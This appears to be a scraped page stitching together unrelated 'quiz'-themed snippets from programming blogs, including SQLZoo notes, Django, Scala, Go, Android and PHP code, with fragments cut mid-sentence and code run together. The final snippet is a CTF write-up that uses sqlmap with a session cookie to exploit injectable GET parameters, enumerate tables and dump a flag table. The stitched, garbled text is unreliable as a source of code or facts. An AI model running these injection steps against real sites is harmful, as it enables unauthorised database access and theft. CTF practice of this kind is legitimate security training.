Quiz time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Manao is taking part in a quiz. The quiz consists of n consecutive questions. A correct answer gives one point to the player. Output Print a single integer — the remainder from division of Manao's minimum possible score in the quiz
sqlzoo练习15-NULL quiz 主要是对上节中学习到的NULL空值的理解与复习 NULL-quiz 练习 select the code which uses an outer join correctly
本文中主要是对sum and count进行了一个小测,熟悉SQL中聚合函数的使用 Sum and Count Quiz 练习 Select the statement that shows the
sqlzoo练习13-join-quiz2 还是通过下面的3张表进行练习 练习 Select the statement which lists the unfortunate directors of
Quiz Lesson 2 - Introduction to GitHub: Post-Lecture Quiz Lesson 3 - Creating Accessible Webpages: Pre-Lecture Quiz Lesson 3 - Creating Accessible Webpages: Post-Lecture Quiz Lesson 4 - JavaScript Basics - Data Types: Pre-Lecture Quiz Lesson 4 - JavaScript Basics - Data Types: Post-Lecture Quiz Quiz Lesson 6 - JavaScript Basics - Making Decisions: Post-Lecture Quiz Lesson 7 - JavaScript Basics and a Closure: Post-Lecture Quiz Lesson 11 - Typing Game: Pre-Lecture Quiz Lesson 11 - Typing Game
request.POST) question_forms = QuestionFormSet(request.POST, queryset=Question.objects.filter(quiz (commit=False) question.quiz = quiz question.save() for answer_form ': quiz_form, 'question_forms': question_forms, 'answer_forms': answer_forms})方法二:使用 InlineFormSet 和 = quiz_form.save() question_forms.save() answer_forms.save() return return render(request, 'form.html', {'quiz_form': quiz_form, 'question_forms': question_forms, 'answer_forms
INTEGER NOT NULL, FOREIGN KEY (quiz_id) REFERENCES quiz(id));sqlite> .tablesquestions Python数据访问对象 get_quiz_list.py import sqlite3class Quiz: def __init__(self, id, name, created_at): self.id quiz_data = [] for row in rows: quiz = Quiz(row[0], row[1], row[2]) quiz_data.append (quiz) conn.close() return quiz_data from get_quiz_list import get_quiz_listquizzes = get_quiz_list ()for quiz in quizzes: print(vars(quiz)) 输出结果 {'id': '1', 'name': 'Test Quiz', 'created_at': '12:09
Quiz[Next] 3 case class Answer[Next](ans: String, n: Next) extends Quiz[Next] Quiz类型可能属于Question或Answer 我们可以map over Next类型获取Quiz的Functor实例: 1 implicit object QFunctor extends Functor[Quiz] { 2 def map [A,B](qa: Quiz[A])(f: A => B): Quiz[B] = 3 qa match { 4 case q: Question[A] => Question ,Unit] = Gosub() 但是,askNumber,askOperator及answer这几个操作函数都返回了Quiz类型,而Quiz类型不是Monad,不支持for-comprehension 我们可以用个隐式转换把所有Quiz[A]升格成Free[Quiz,A]: 1 implicit def quizToFree[A](qz: Quiz[A]): Free[Quiz,A] = Free.liftF
在服务端创建一个 Quiz 类。因为Quiz类在服务端和客户端都要用到,所以需要在AIDL文件中声明Quiz类。 ; Quiz Quiz2 = new Quiz(“说明Handler异步消息处理的流程。”); Quiz Quiz3 = new Quiz(“简述Service的基本原理和用途。”) ; Quiz Quiz4 = new Quiz(“简述移动计算的主要特点。”); Quiz Quiz5 = new Quiz(“什么是多路复用?频分、时分和码分多路复用?”) ; Quiz Quiz6 = new Quiz(“简述竞争信道的工作过程。”) quiz = new Quiz(“简述RTS/CTS握手协议。”)
测试题目录 Lesson1 Neural Networks and Deep Learning (第一门课 神经网络和深度学习) Week 1 Quiz - Introduction to deep learning(第一周测验 - 深度学习简介) Week 2 Quiz - Neural Network Basics(第二周测验 - 神经网络基础) Week 3 Quiz - Shallow Neural Networks(第三周测验 - 浅层神经网络) Week 4 Quiz - Key concepts on Deep Neural Networks(第四周测验 – 深层神经网络) Lesson2 ) Week 3 Quiz - Hyperparameter tuning, Batch Normalization, Programming Frameworks(第三周测验 - 超参数调整,批量标准化 第二周测验-深度卷积模型:实例探究) Week 3 Quiz: Detection algorithms (第三周测验:检测算法) Week 4 Quiz: Face recognition & Neural
_load_questions()self.current_quiz=Noneself.answered_users=set()defstart_quiz(self):"""开始挑战"""self.current_quiz ```python{self.current_quiz['code']}{self.current_quiz['question']}{chr(10).join(self.current_quiz['options ifuser_idinself.answered_users:return'你已经回答过了'self.answered_users.add(user_id)correct=answer.upper()==self.current_quiz {self.current_quiz['explanation']}今日已有{len(self.answered_users)}人参与挑战"""else:returnf"""❌答案错误正确答案:{self.current_quiz ['answer']}{self.current_quiz['explanation']}继续加油!"""
显示如下 HTML/CSS Quiz INFO HTML CSS Student Info Name: Email: Date of Birth: HTML Question1 device-width, initial-scale=1.0" /> <meta name="description" content="freeCodeCamp Accessibility <em>Quiz</em> practice project" /> <title>Accessibility Quiz</title> <link rel="stylesheet" href="styles.css <main> <form method="post" action="https://freecodecamp.org/practice-project/accessibility-<em>quiz</em> practice project" /> <title>Accessibility Quiz</title> <link rel="stylesheet" href="styles.css
修改之后重新运行测试: $ go test PASS ok github.com/go-quiz/go-daily-lib/testing 0.178s 这次测试都通过了! 另外,这个示例中我将roman_test.go文件移到了roman_test包中,所以需要import "github.com/go-quiz/go-daily-lib/testing/roman"。 运行: $ go test -bench=. goos: windows goarch: amd64 pkg: github.com/go-quiz/go-daily-lib/testing/fib cpu -benchtime=30s goos: windows goarch: amd64 pkg: github.com/go-quiz/go-daily-lib/testing/fib cpu: Intel 0 0% 100% 8.69GB 100% github.com/go-quiz/fib.Fib2 (inline) 0 0% 100%
创建目录并初始化: $ mkdir termtables && cd termtables $ go mod init github.com/go-quiz/go-daily-lib/termtables { t := termtables.CreateTable() t.AddHeaders("User", "Age") t.AddRow("dj", 18) t.AddRow("go-quiz ()) } 运行: $ go run main.go +--------+-----+ | User | Age | +--------+-----+ | dj | 18 | | go-quiz { t := termtables.CreateTable() t.AddHeaders("User", "Age") t.AddRow("dj", 18) t.AddRow("go-quiz td>30 Markdown: | User | Age | | ------ | --- | | dj | 18 | | go-quiz
/go-flags/">Go 每日一库之 go-flags
[Next](ans: String, n: Next) extends Quiz[Next] 7 implicit object QFunctor extends Functor[Quiz] { 8 def map[A,B](qa: Quiz[A])(f: A => B): Quiz[B] = 9 qa match { 10 case q: Question [A]): Free[Quiz,A] = Free.liftF(qz) 28 } 29 import Quiz._ 30 val prg = for { 31 fn <- askNumber("The ~> Id) { 2 import Quiz._ 3 def apply[A](qz: Quiz[A]): Id[A] = qz match { 4 case Question( 我们先实现这个f函数: 1 type FreeQuiz[A] = Free[Quiz,A] 2 def quizst(track: List[String], prg: Quiz[FreeQuiz[
2.1 导入全库 imp "'sys/ase_sys_n as sysdba'" file=/u01/b2brda.dmp log='/u01/b2brda_imp.log' fromuser=m_quiz ,quiz touser=m_quiz,quiz buffer=100000000 2.2 导入单表 imp hdbassy/hdbassy file=/oradata/RPT_COEE_REPORT.dmp
c=interaction_quiz&m=start_quiz_confirm&clazz_course_id=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&id=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX c=interaction_quiz&m=person_quiz_result&clazz_course_id=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX&id=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
读取答题列表: $sql = "select * from quiz order by id asc"; $query = mysql_query($sql); while ($row = mysql_fetch_array $row['question'], 'answers' => $answers ); } $json = json_encode($arr); 生成答题列表:
通过遍历出来的列表,生成答题功能: $(function(){ $('#quiz-container').jquizzy({ questions: <? ]; $answers = explode('|',$data); $an_len = count($answers)-1; //题目数 $sql = "select correct from <em>quiz</em> 0; } $i++; } $arr['score'] = round(($q_right/$an_len)*100); //总得分 echo json_encode($arr); <em>quiz</em>q=quiz&step=2&eid=60377db362694&n=1&t=34 这个页面GET参数比较多极有可能存在漏洞,使用sqlmap扫描 注意加上cookie sqlmap --cookie=" q=quiz&step=2&eid=5b141f1e8399e&n=10&t=10" 提示eid参数和n参数存在注入漏洞。 q=quiz&step=2&eid=5b141f1e8399e&n=10&t=10" --current-db 扫描到当前数据库为----ctf ,继续扫描库中的数据表 sqlmap --cookie q=quiz&step=2&eid=5b141f1e8399e&n=10&t=10" -D "ctf" --tables 数据表一共9个,发现有一张表名flag表,表中应该存着要找的flag,获取flag q=quiz&step=2&eid=5b141f1e8399e&n=10&t=10" -D "ctf" -T "flag" --dump 成功找到flag----flag{555f3edc-fdc3-